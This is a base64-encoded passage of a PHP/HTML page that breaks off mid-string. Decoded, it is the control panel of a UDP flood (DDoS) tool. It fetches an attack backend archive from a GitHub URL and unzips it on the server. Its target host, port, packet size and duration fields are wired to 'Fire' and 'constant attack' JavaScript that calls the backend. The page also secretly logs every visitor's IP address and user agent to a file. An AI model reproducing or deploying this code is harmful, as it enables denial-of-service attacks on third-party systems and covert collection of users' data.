J10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGNlbnRlcj48YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8c2NyaXB0Pg0KICAgICAgICAgICAgICAgICAgICAgICAgCQkvLyBtaWNyb0FqYXggLSBodHRwczovL2dpdGh1Yi5jb20vVGhlWjNyby9taWNyb2FqYXgvDQogICAgICAgICAgICAgICAgICAgICAgICAJCWZ1bmN0aW9uIG1pY3JvQWpheChCLEEpe3RoaXMuYmluZEZ1bmN0aW9uPWZ1bmN0aW9uKEUsRCl7cmV0dXJuIGZ1bmN0aW9uKCl7cmV0dXJuIEUuYXBwbHkoRCxbRF0pfX07dGhpcy5zdGF0ZUNoYW5nZT1mdW5jdGlvbihEKXtpZih0aGlzLnJlcXVlc3QucmVhZHlTdGF0ZT09NCl7dGhpcy5jYWxsYmFja0Z1bmN0aW9uKHRoaXMucmVxdWVzdC5yZXNwb25zZVRleHQpfX07dGhpcy5nZXRSZXF1ZXN0PWZ1bmN0aW9uKCl7aWYod2luZG93LkFjdGl2ZVhPYmplY3Qpe3JldHVybiBuZXcgQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKX1lbHNle2lmKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCl7cmV0dXJuIG5ldyBYTUxIdHRwUmVxdWVzdCgpfX1yZXR1cm4gZmFsc2V9O3RoaXMucG9zdEJvZHk9KGFyZ3VtZW50c1syXXx8IiIpO3RoaXMuY2FsbGJhY2tGdW5jdGlvbj1BO3RoaXMudXJsPUI7dGhpcy5yZXF1ZXN0PXRoaXMuZ2V0UmVxdWVzdCgpO2lmKHRoaXMucmVxdWVzdCl7dmFyIEM9dGhpcy5yZXF1ZXN0O0Mub25yZWFkeXN0YXRlY2hhbmdlPXRoaXMuYmluZEZ1bmN0aW9uKHRoaXMuc3RhdGVDaGFuZ2UsdGhpcyk7aWYodGhpcy5wb3N0Qm9keSE9PSIiKXtDLm9wZW4oIlBPU1QiLEIsdHJ1ZSk7Qy5zZXRSZXF1ZXN0SGVhZGVyKCJYLVJlcXVlc3RlZC1XaXRoIiwiWE1MSHR0cFJlcXVlc3QiKTtDLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtdHlwZSIsImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpO0Muc2V0UmVxdWVzdEhlYWRlcigiQ29ubmVjdGlvbiIsImNsb3NlIil9ZWxzZXtDLm9wZW4oIkdFVCIsQix0cnVlKX1DLnNlbmQodGhpcy5wb3N0Qm9keSl9fTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAk8L3NjcmlwdD4NCiAgICAgICAgICAgICAgICAgICAgICAgIAk8Zm9ybSBtZXRob2Q9InBvc3QiPg0KDQogICAgICAgICAgICAgICAgICAgICAgICAJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iaW5zdHJ1Y3Rpb25zIiB2YWx1ZT0iR2VuZXJhdGUgaW5zdHJ1Y3Rpb25zIGZpcnN0IChSZWNvbW1lbmRlZCkiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ2luc3RydWN0aW9ucyddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgCSRnZW5fdGV4dCA9IGZvcGVuKCJpbnN0cnVjdGlvbnMudHh0IiwgInciKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkkaW5pID0gJ0ZpcnN0IGNsaWNrIHRoZSBidXR0b24gdG8gZG93bmxvYWQgVURQIERET1MgZmlsZSwgYWZ0ZXIgeW91IGhhdmUgZG93bmxvYWRlZCB0aGUgRERPUyBmaWxlLCBpdCB3aWxsIGJlIGluIGZvcm0gb2YgYSB6aXAgZmlsZSBmb3JtYXQsIHRoZW4gdXNlIHRoZSB1bnppcHBlciB0byB1bnppcCB0aGUgZmlsZSBmcm9tIHlvdXIgZG93bmxvYWRzIGZvbGRlciB0aGVuIHlvdSBjYW4gcHJvY2VlZCB3aXRoIHRoZSBVRFAgRERPUyc7DQogICAgICAgICAgICAgICAgICAgICAgICAJZndyaXRlKCRnZW5fdGV4dCwgJGluaSk7DQogICAgICAgICAgICAgICAgICAgICAgICAJZmNsb3NlKCRnZW5fdGV4dCk7DQogICAgICAgICAgICAgICAgICAgICAgICAJJHRoZV9saW5rPSI8YSBocmVmPWluc3RydWN0aW9ucy50eHQgdGFyZ2V0PV9ibGFuaz48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTIgZmFjZT1cImNvbWljIHNhbnMgbXNcIj48dT48YnI+T3BlbiB0aGlzIGxpbmsgdG8gcmVhZCB0aGUgaW5zdHJ1Y3Rpb25zPC91PjwvZm9udD48L2E+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIAllY2hvICR0aGVfbGluazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGJyPjxicj4iOw0KDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgCTxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImZsb29kX2Rkb3MiIHZhbHVlPSJEb3dubG9hZCBVRFAgRERPUyBmaWxlIChpbnRlcm5ldCByZXF1aXJlZCkiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIAk8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgICAgICAJPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnZmxvb2RfZGRvcyddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnIDxjZW50ZXI+JzsNCmVjaG8gJzxhIGhyZWY9Imh0dHBzOi8vZ2l0aHViLmNvbS9UZXJtdXhIYWNrei9VZHAvcmF3L21hc3Rlci9iYWNrZW5kLnppcCIgZG93bmxvYWQ+RG93bmxvYWQgbm93ISA8L2E+JzsNCmVjaG8gIjxicj4iOw0KZWNobyAiPGJyLz4iOw0KZWNobyAnPC9jZW50ZXI+JzsNCn0gDQo/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgCTxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIAk8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgPCEtLSBVbnppcCBzZWxlY3RlZCB6aXAgZmlsZSAtLT4NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgIDxsYWJlbD5VbnppcCBmaWxlPC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHJlcXVpcmVkIC8+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InVuemlwIiB2YWx1ZT0iVW56aXAiIC8+DQogICAgICAgICAgICAgICAgICAgICAgICAJIDxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIAk8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgICAgICA8YnIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgCQk8YnV0dG9uIGlkPSJsb2FkTGFnIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxhZ0NvbmZpZygpOyI+TGFnIGNvbmZpZzwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgCQk8YnV0dG9uIGlkPSJsb2FkVHJhZmZpYyIgb25DbGljaz0iamF2YXNjcmlwdDp0cmFmZmljQ29uZmlnKCk7Ij5UcmFmZmljIGNvbmZpZzwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgCQk8YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAJCTxiciAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgCQk8bGFiZWw+SG9zdDo8L2xhYmVsPjxpbnB1dCBpZD0iaG9zdCI+PGJyLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIAkJPGxhYmVsPlBvcnQ6PC9sYWJlbD48aW5wdXQgdHlwZT0ibnVtYmVyIiBpZD0icG9ydCIgbWF4PTY1NTM1IG1pbj0xIHN0ZXA9MSB2YWx1ZT04MD48YnIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgCQk8bGFiZWw+UGFja2V0OjwvbGFiZWw+PGlucHV0IHR5cGU9Im51bWJlciIgaWQ9InBhY2tldCIgbWluPTEgc3RlcD0xPjxici8+DQogICAgICAgICAgICAgICAgICAgICAgICAJCTxsYWJlbD5UaW1lOjwvbGFiZWw+PGlucHV0IHR5cGU9Im51bWJlciIgaWQ9InRpbWUiIG1pbj0xIHN0ZXA9MSB2YWx1ZT01Pjxici8+DQogICAgICAgICAgICAgICAgICAgICAgICAJCTxsYWJlbD5CeXRlczo8L2xhYmVsPjxpbnB1dCB0eXBlPSJudW1iZXIiIGlkPSJieXRlcyIgbWF4PTY1MDAwIG1pbj0xIHN0ZXA9MSB2YWx1ZT02NTAwMD48YnIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgCQk8bGFiZWw+SW50ZXJ2YWw6PC9sYWJlbD48aW5wdXQgdHlwZT0ibnVtYmVyIiBpZD0iaW50ZXJ2YWwiIG1heD0xMDAwMCBtaW49MSBzdGVwPTEgdmFsdWU9MTA+PGJyLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIAkJPGxhYmVsPlBhc3M6PC9sYWJlbD48aW5wdXQgaWQ9InBhc3MiPjxici8+DQogICAgICAgICAgICAgICAgICAgICAgICAJCTxwcmU+UGFzczogPGNvZGU+VEhTLVNoZWxsLXYyPC9jb2RlPjwvcHJlPg0KICAgICAgICAgICAgICAgICAgICAgICAgCQk8YnV0dG9uIGlkPSJzZW5kIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmZpcmUoKTsiPkZpcmUhPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICAJCTxici8+PGJyLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIAkJPGxhYmVsIGNsYXNzPSJsYWJlbCI+Q29uc3RhbnQgYXR0YWNrIHdpdGggc21hcnQgZGVsYXlzPC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgIAkJPGJ1dHRvbiBpZD0ic2VuZFdpdGhJbnRlcnZhbCIgb25DbGljaz0iamF2YXNjcmlwdDpjb25zdGFudEF0dGFjayh0cnVlKTsiPlN0YXJ0PC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICAJCTxidXR0b24gaWQ9InN0b3BJbnRlcnZhbCIgZGlzYWJsZWQ9InRydWUiIG9uQ2xpY2s9ImphdmFzY3JpcHQ6Y29uc3RhbnRBdHRhY2soZmFsc2UpOyI+U3RvcDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgCQk8YnIvPjxici8+DQogICAgICAgICAgICAgICAgICAgICAgICAJCTx0ZXh0YXJlYSBpZD0ibG9nIiByb3dzPSIxMCIgY29scz0iNDAiPjwvdGV4dGFyZWE+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgID8+DQo8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyd1bnppcCddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgCWRlZmluZSgnX1BBVEgnLCBkaXJuYW1lKF9fRklMRV9fKSk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAkvLyBVbnppcCBzZWxlY3RlZCB6aXAgZmlsZQ0KICAgICAgICAgICAgICAgICAgICAgICAgCSAkZmlsZW5hbWUgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgCSAvLyBHZXQgZmlsZSBleHRlbnNpb24NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgJGV4dCA9IHBhdGhpbmZvKCRmaWxlbmFtZSwgUEFUSElORk9fRVhURU5TSU9OKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgCSAkdmFsaWRfZXh0ID0gYXJyYXkoJ3ppcCcpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAJIC8vIENoZWNrIGV4dGVuc2lvbg0KICAgICAgICAgICAgICAgICAgICAgICAgCSBpZihpbl9hcnJheShzdHJ0b2xvd2VyKCRleHQpLCR2YWxpZF9leHQpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgICR0bXBfbmFtZSA9ICRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgCSAgJHppcCA9IG5ldyBaaXBBcmNoaXZlOw0KICAgICAgICAgICAgICAgICAgICAgICAgCSAgJHJlcyA9ICR6aXAtPm9wZW4oJHRtcF9uYW1lKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgIGlmICgkcmVzID09PSBUUlVFKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgICAvLyBVbnppcCBwYXRoDQogICAgICAgICAgICAgICAgICAgICAgICAJICAgJHBhdGggPSBfUEFUSC4iL1RIUy1ERE9TLyI7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgICAvLyBFeHRyYWN0IGZpbGUNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgICAkemlwLT5leHRyYWN0VG8oJHBhdGgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgCSAgICR6aXAtPmNsb3NlKCk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgICBlY2hvICc8c2NyaXB0PmFsZXJ0KCJGaWxlIGhhcyBiZWVuIFN1Y2Nlc3NmdWxseSBVbnppcHBlZCEsIHlvdSBjYW4gbm93IGNvbnRpbnVlIHdpdGggdGhlIFVEUCBERE9TIGFsbCByZXF1aXJlbWVudHMgaGFzIGJlZW4gc2F0aXNmaWVkISEgIik8L3NjcmlwdD4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgCSAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgICBlY2hvICc8c2NyaXB0PmFsZXJ0KCJmYWlsZWQhIFRvIHVuemlwISEiKTwvc2NyaXB0Pic7DQogICAgICAgICAgICAgICAgICAgICAgICAJICB9DQogICAgICAgICAgICAgICAgICAgICAgICAJIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICAgICAgCSAgZWNobyAnPHNjcmlwdD5hbGVydCgiSW52YWxpZCBmaWxlIHR5cGUgb25seSB6aXAgZmlsZXMgYWxsb3dlZCIpPC9zY3JpcHQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJGlwID0gZ2V0VXNlcklQKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkYnJvd3NlciA9ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRkYXRlVGltZSA9IGRhdGUoJ1kvbS9kIEc6aTpzJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAkZmlsZSA9ICJpcHMuaHRtbCI7DQogICAgICAgICAgICAgICAgICAgICAgICAkZmlsZSA9IGZvcGVuKCRmaWxlLCAiYSIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGRhdGEgPSAiPHByZT48Yj5Vc2VyIElQPC9iPjogJGlwIDxiPiBCcm93c2VyPC9iPjogJGJyb3dzZXIgPGJyPm9uIFRpbWUgOiAkZGF0ZVRpbWUgPGJyPjwvcHJlPiI7DQogICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJGZpbGUsICRkYXRhKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkZmlsZSk7DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gZ2V0VXNlcklQKCkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY2xpZW50ICA9IEAkX1NFUlZFUlsnSFRUUF9DTElFTlRfSVAnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZm9yd2FyZCA9IEAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVtb3RlICA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoZmlsdGVyX3ZhcigkY2xpZW50LCBGSUxURVJfVkFMSURBVEVfSVApKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGlwID0gJGNsaWVudDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKGZpbHRlcl92YXIoJGZvcndhcmQsIEZJTFRFUl9WQUxJREFURV9JUCkpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXAgPSAkZm9yd2FyZDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGlwID0gJHJlbW90ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGlwOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgPHNjcmlwdD4NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCXZhciBfbG9nPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJsb2ciKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCXZhciBpbnRlcnZhbEhhbmRsZXIgPSBudWxsOw0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJZnVuY3Rpb24gZmlyZSgpew0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCXZhciBob3N0PWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJob3N0IikudmFsdWU7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJdmFyIHBvcnQ9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInBvcnQiKS52YWx1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQl2YXIgcGFja2V0PWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJwYWNrZXQiKS52YWx1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQl2YXIgdGltZT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGltZSIpLnZhbHVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCXZhciBwYXNzPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJwYXNzIikudmFsdWU7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJdmFyIGJ5dGVzPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJieXRlcyIpLnZhbHVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCXZhciBpbnRlcnZhbD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaW50ZXJ2YWwiKS52YWx1ZTsNCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJaWYoaG9zdCE9IiIgJiYgcGFzcyE9IiIpew0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCQlpbnB1dExvY2sodHJ1ZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCXZhciB1cmw9Jy4vVEhTLURET1MvYmFja2VuZC5waHA/cGFzcz0nK3Bhc3MrJyZob3N0PScraG9zdCsocG9ydCE9IiI/ICcmcG9ydD0nK3BvcnQ6JycpKyh0aW1lIT0iIj8gJyZ0aW1lPScrdGltZTonJykrKHBhY2tldCE9IiI/ICcmcGFja2V0PScrcGFja2V0OicnKSsoYnl0ZXMhPSIiPyAnJmJ5dGVzPScrYnl0ZXM6JycpKyhpbnRlcnZhbCE9IiI/ICcmaW50ZXJ2YWw9JytpbnRlcnZhbDonJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCWNvbnNvbGUubG9nKHVybCk7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCW1pY3JvQWpheCh1cmwsIGZ1bmN0aW9uKHJlc3VsdCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCQlfbG9nLnZhbHVlPXJlc3VsdDsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJaWYoX2xvZy52YWx1ZS5pbmNsdWRlcygiV3JvbmcgcGFzc3dvcmQiKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCQljb25zdGFudEF0dGFjayhmYWxzZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJaWYoaW50ZXJ2YWxIYW5kbGVyID09IG51bGwpew0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCQkJaW5wdXRMb2NrKGZhbHNlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCQl9KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQl9DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJX2xvZy52YWx1ZSA9ICJOb3QgYWxsIHJlcXVpcmVkIHBhcmFtZXRlcnMgYXJlIGZpbGxlZCBjb3JyZWN0bHkhIg0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCX0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJZnVuY3Rpb24gbGFnQ29uZmlnKCl7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJcGFja2V0PWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJwYWNrZXQiKS52YWx1ZSA9ICIiOw0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCXRpbWU9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRpbWUiKS52YWx1ZSA9ICIxMCI7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJYnl0ZXM9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImJ5dGVzIikudmFsdWUgPSAiMSI7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJaW50ZXJ2YWw9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImludGVydmFsIikudmFsdWUgPSAiMCI7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAl9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCWZ1bmN0aW9uIHRyYWZmaWNDb25maWcoKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQlwYWNrZXQ9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInBhY2tldCIpLnZhbHVlID0gIiI7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJdGltZT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGltZSIpLnZhbHVlID0gIjUiOw0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCWJ5dGVzPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJieXRlcyIpLnZhbHVlID0gIjY1MDAwIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQlpbnRlcnZhbD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaW50ZXJ2YWwiKS52YWx1ZSA9ICIxMCI7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAl9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCWZ1bmN0aW9uIGNvbnN0YW50QXR0YWNrKHN0YXR1cyl7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJdmFyIGhvc3Q9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhvc3QiKS52YWx1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQl2YXIgaG9zdD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgicGFzcyIpLnZhbHVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCXZhciBpbnRlcnZhbFRpbWU9KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0aW1lIikudmFsdWUgKiAxMDAwKSArIDEwMDA7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJaWYoaG9zdCE9IiIgJiYgcGFzcyE9IiIpew0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCQlpZihzdGF0dXMgPT0gdHJ1ZSl7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCQlmaXJlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCQlpbnB1dExvY2sodHJ1ZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCQlpbnRlcnZhbEhhbmRsZXIgPSBzZXRJbnRlcnZhbChmaXJlLGludGVydmFsVGltZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJZWxzZSBpZihzdGF0dXMgPT0gZmFsc2Upew0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCQkJY2xlYXJJbnRlcnZhbChpbnRlcnZhbEhhbmRsZXIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCQkJaW5wdXRMb2NrKGZhbHNlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJCWludGVydmFsSGFuZGxlciA9IG51bGw7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQl9DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJX2xvZy52YWx1ZSA9ICJOb3QgYWxsIHJlcXVpcmVkIHBhcmFtZXRlcnMgYXJlIGZpbGxlZCBjb3JyZWN0bHkhIg0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCX0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJZnVuY3Rpb24gaW5wdXRMb2NrKHN0YXR1cyl7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJdmFyIGlucHV0cyA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJpbnB1dCIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCXZhciBidXR0b25zID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImJ1dHRvbiIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCWlmKHN0YXR1cyA9PSB0cnVlKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJZm9yKGkgPSAwO2kgPCBpbnB1dHMubGVuZ3RoO2krKykNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJew0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCQkJaW5wdXRzW2ldLmRpc2FibGVkID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCQlmb3IoaSA9IDA7aSA8IGJ1dHRvbnMubGVuZ3RoO2krKykNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJew0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCQkJYnV0dG9uc1tpXS5kaXNhYmxlZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInN0b3BJbnRlcnZhbCIpLmRpc2FibGVkID0gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCWVsc2V7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCWZvcihpID0gMDtpIDwgaW5wdXRzLmxlbmd0aDtpKyspDQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCXsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJCWlucHV0c1tpXS5kaXNhYmxlZCA9IGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCQl9DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCWZvcihpID0gMDtpIDwgYnV0dG9ucy5sZW5ndGg7aSsrKQ0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCQ